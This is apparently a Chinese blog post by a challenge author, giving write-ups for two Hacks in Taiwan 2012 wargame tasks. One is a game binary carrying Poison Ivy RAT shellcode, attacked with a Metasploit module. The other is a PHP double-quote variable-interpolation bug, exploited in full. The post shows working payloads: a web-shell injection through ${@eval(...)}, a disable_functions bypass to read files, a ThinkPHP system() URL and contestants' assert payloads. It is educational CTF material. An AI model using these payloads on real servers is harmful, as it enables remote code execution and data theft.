2012年7月24日 星期二

Hacks in Taiwan 2012 Potent Pwnables 3 出題詳解




照慣例今年還是有個經典遊戲題,
皮卡丘打排球相信是許多人童年的回憶XD



這次的題目是
Hack Pikachu.
(Pikachu is a hacker's name.)

檔案可以在 http://rsghost.org/backup/wargame.hitcon.org/ 下載
感謝 RSGhost 備份

主要考的觀念是 Poison Ivy 的 stack overflow 問題
Poison ivy 是一套滿有名的木馬程式,
其中最大的特性是木馬的 server 端可以變成 shellcode 的形式,
使得木馬要加密、變形、免殺變得異常方便!
所以在很多地方都可以看到它的蹤跡...XD

又由於 Poison ivy 目前版本( 2.3.2 ) 已不再更新,要更新的請花錢買付費版XD
並要要執行必須在關閉 DEP 的環境下,所以 Exploit 環境較單純利用起來相對容易

有興趣研究的人可以到 http://www.poisonivy-rat.com/  下載


主程式被 binary patch 改了一些 call function 以及加上了兩個 sections,
一個是  Poison Ivy 的 shellcode
另一個是 Anti VMware, SEH 的一些 little and easy tricks,
又因為主程式是 Single Thread 又自己加上 CreateThread 等

心血來潮丟到 Virustotal 上測試沒想到只有4家可以偵測到orz
都還沒出大絕招就只剩下四家這... XDD






舊版 2.3.2 的 Poison Ivy 在 Windows 7 上跑不起來,
原因是因為 Windows 7 在取得 ImageBase 上的方式不同,
詳細原因可以參考我以前寫過的文章 Download Exec shellcode fix & for Windows 7

Patch 方法除了自己改外網路上有人已經有寫好的小程式可以直接用
http://existence.vacau.com/PI/pi.html
將產生的 shellcode 直接貼上去就可以進行 patch !
所以在 Windows XP or Windows 7 無論 32bits 或是 64bits 皆可以執行。

由於主程式是 Windows98/me 時代撰寫的( 1997 (C)SACHI SOFT ),
跑在 Windows 7 64bits 上有點怪怪的小 BUG (會 crash),
猜測是 Heap Allocation 的問題(未證實)
解決方法是將相容性改成 Windows 98/me 就可以正常執行了

至於如何判斷是 Poison Ivy ,
除了行為外,還可以從
Poison Ivy 預設的 port 是 3460
Poison Ivy 預設的 mutex 是 )!VoqA.I4 等看出

接著就可以直接用 Metasploit  進行攻擊
http://www.metasploit.com/modules/exploit/windows/misc/poisonivy_bof





















 <( ̄︶ ̄)> 得到 key

額外補充:
駭客年會兩天約有200~300個連線(累計紀錄)連過來
忘記把盛況拍下來了 //flee

How to hack a hacker, this is a good question. XD


2012年7月23日 星期一

Hacks in Taiwan 2012 Web Hacking 1 出題詳解



簡單的 Code Review,所以只有 100 分
結束突然有點感嘆覺得說,台灣玩 Web Hacking 的人雖然多,但都不精,
而且滿大比例是 ...... 的orz

題目很簡單,
Web Hacking 1 外國人題目一出來沒多久就解出來,
基本上有在關注這一塊的人應該看到就可以馬上寫出解答

題目是:
Easy code review.
This is a beginning of the web hacking. 
都有 source code 了,再解不出來該去撞豆腐了XD



























key.php 裡面放著過關金鑰
orange.html 是 orange.php 的原始碼
關卡的 PHP code 有提供 source 給大家 review,並從中找出漏洞進行利用,只有短短幾行
<?php

    
// by Orange@chroot.org, have fun.

    
$data $_GET["data"];
    
$name $_GET["name"];

    
$arr = array("\"""'"";");
    
$data str_replace($arr""$data);
    
$_ = <<< EOF<?php
    \$title = "
$data";
?>
EOF;
    
$filename sprintf("yourfiles/%s.config.php"$name);
    
file_put_contents($filename$_);



Web Hacking 1 考的觀念是 PHP 中在雙引號中的變數是可以被解析的特性

<?php
    $test = 123;
    echo "$test";
這樣的結果會是 123,

<?php
    echo "{${phpinfo()}}";
這樣的結果會執行 phpinfo 這個 function

基本上這不算是一個漏洞,算是 PHP 的一個特性,
但在 PHP Code Review 上卻是一個要注意的點

能利用的地方很多,
例如在網站後台有功能可以寫設定檔,
但是雙引號被 magic_gpc_quote 防禦時則可這樣利用

又或是舉個例子,有一套很火紅的 PHP framework 叫做 thinkPHP,
之前被爆出 Code Execution 漏洞,出問題的點在於
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
轉自 http://zone.wooyun.org/index.php?do=view&id=44

雖然主要出問題的點在於 preg_replace + e 這個地方,
但漏洞利用的觀念還是在於,在 "\\2" 中,變數會被放到雙引號中
所以可以利用這種網址

/index.php?s=module/action/param1/${@system($_GET[cmd])}
&cmd=cat config.php
直接執行系統指令。


所以完整的利用流程只要三個網址就可以拿到 key 了

http://wg.hack.idv.tw/~ow100/orange.php?name=orange&data=${@eval($_GET[cmd])}
產生 youtfiles/orange.config.php 檔案

http://wg.hack.idv.tw/~ow100/yourfiles/orange.config.php?cmd=phpinfo();
第二個步驟的主要目的觀看 php 設定是否有哪些防禦、限制
繞過 disable_function 的限制
disable_function 的值有
basename,chgrp,chmod,chown,clearstatcache,copy,delete,dirname,disk_free_space,disk_total_space,diskfreespace,fclose,feof,fflush,fgetc,fgetcsv,fgets,fgetss,file_exists,file_get_contents,file,fileatime,filectime,filegroup,fileinode,filemtime,fileowner,fileperms,filesize,filetype,flock,fnmatch,fopen,fpassthru,fputcsv,fputs,fread,fscanf,fseek,fstat,ftell,ftruncate,fwrite,glob,is_dir,is_executable,is_file,is_link,is_readable,is_writable,is_writeable,lchgrp,lchown,link,linkinfo,lstat,mkdir,parse_ini_file,parse_ini_string,pathinfo,pclose,popen,readfile,readlink,realpath_cache_get,realpath_cache_size,realpath,rename,rewind,rmdir,set_file_buffer,stat,symlink,tempnam,tmpfile,touch,umask,unlink,include,include_once,require,requre_once,opendir,readdir,highlight_file,scandir

http://wg.hack.idv.tw/~ow100/orange.config.php?cmd=print_r(gzfile($_GET[b]));&b=../key.php
這裡我用的方法是用 gzfile ,並不在 disable_function 內,所以可以順利的讀取到 key.php























額外補充

yourfiles 下共產生了 704 個  PHP 檔案,看其中內容有研究了一下還滿好玩的XD
除了完全與出題方向不同的 SQL injection, XSS 外有看到幾個比較有創意的答案

<?php $title = "{${show_source(trim(base64_decode(Li4va2V5LnBocCAK)))}}"; ?>


<?$zip = new ZipArchive();echo $zip->open($_GET[(string)1],ZIPARCHIVE::OVERWRITE);echo $zip->addFile($_GET[(string)2]);$zip->close();?>


<?php $title = "{${assert($_GET[1])}}"; ?>